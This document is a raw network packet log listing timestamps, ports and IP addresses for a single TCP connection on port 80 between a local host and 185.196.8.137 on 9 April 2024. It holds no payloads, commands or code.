Apr 9, 2024 14:54:01.127274036 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127295971 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127309084 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127331018 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127340078 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127345085 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127372980 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127386093 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127432108 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127469063 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127571106 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127664089 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127677917 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127717018 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127723932 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127743006 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127779007 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.127819061 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.127841949 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.128051043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.128081083 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.128103018 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.128304005 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.298492908 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.341667891 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.341767073 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.518449068 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.518470049 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547122955 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547171116 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547183037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547194958 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547207117 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547261953 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547288895 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547302961 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547312975 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547314882 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547358036 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547358036 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547368050 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547379971 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547403097 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547480106 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547499895 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547574043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547585011 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547621965 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547637939 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547650099 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547662020 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547688961 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547688961 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547714949 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547728062 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547766924 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547794104 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547847986 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547883987 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547895908 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547905922 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547945023 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547945976 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.547956944 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547967911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.547988892 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548023939 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548023939 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548051119 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548063040 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548105955 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548142910 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548156023 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548166037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548177004 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548188925 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548238039 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548238039 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548259020 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548304081 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548316956 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548327923 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548336983 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548346996 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548401117 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548401117 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548409939 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548430920 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548441887 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548496962 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548521996 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548563004 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548571110 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548592091 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548657894 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548669100 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548679113 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548700094 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548726082 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548738956 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548748970 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548778057 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548778057 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548800945 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548820972 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548831940 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548841000 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548862934 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548866987 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548866987 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548909903 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548922062 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548923969 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548969030 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.548974991 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548988104 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.548999071 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549016953 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549021959 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549047947 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549072981 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549081087 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549120903 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549140930 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549201012 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549211979 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549221992 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549232960 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549245119 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549246073 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549295902 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549324989 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549336910 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549345016 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549356937 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549371004 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549415112 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549472094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549484015 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549515963 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549540997 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549617052 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549628019 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549638033 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549655914 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549711943 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549735069 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549751043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549762964 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549810886 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549823046 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549833059 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549841881 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549850941 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549850941 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549876928 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549927950 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549958944 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549968958 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.549973011 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.549973011 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550008059 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550029039 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550056934 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550108910 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550122023 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550132036 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550142050 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550154924 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550209045 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550237894 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550257921 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550292969 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550335884 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550337076 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550348997 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550369024 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550416946 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550416946 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550422907 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550479889 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550491095 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550540924 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550553083 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550563097 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550580978 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550580978 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550647020 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550658941 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550668955 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550669909 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550681114 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550690889 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550700903 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550724030 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550724030 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550743103 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550795078 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550827026 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550870895 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550903082 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550919056 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550986052 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.550995111 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.550997972 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551011086 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551048040 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551060915 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551090956 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551090956 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551105976 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551116943 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551163912 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551173925 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551184893 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551197052 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551208973 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551208973 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551254034 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551265955 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551289082 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551364899 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551377058 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551387072 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551389933 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551398039 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551434040 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551434040 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551436901 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551461935 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551474094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551539898 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551553011 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551563978 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551580906 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551580906 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551609039 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551623106 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551632881 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551693916 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551706076 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551717043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551733971 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551733971 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551754951 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551767111 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551806927 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551806927 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551817894 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551830053 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551841021 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551851988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551863909 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551875114 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551907063 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551907063 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.551954031 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551965952 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551978111 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.551990032 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552005053 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552005053 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552052021 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552064896 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552074909 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552138090 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552156925 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552170038 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552191973 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552191973 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552226067 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552237034 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552263975 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552285910 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552298069 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552309990 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552320957 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552331924 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552344084 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552350998 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552350998 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552383900 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552413940 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552431107 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552465916 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552465916 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552470922 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552484989 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552490950 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552498102 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552520037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552537918 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552591085 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552603960 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552614927 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552628040 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552651882 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552674055 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552674055 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552689075 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552728891 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552757978 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552772999 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552786112 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552808046 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552820921 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552823067 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552850008 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552862883 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552901983 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.552911043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552932978 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.552975893 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553045988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553087950 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.553087950 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.553107023 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553121090 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553189993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553201914 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553212881 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553226948 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553241014 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553261042 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.553263903 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.553263903 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.553263903 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.553297997 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.724265099 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.724289894 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.724369049 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:01.724392891 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:01.724473000 CEST	80	49739	185.196.8.137	192.168.2.4
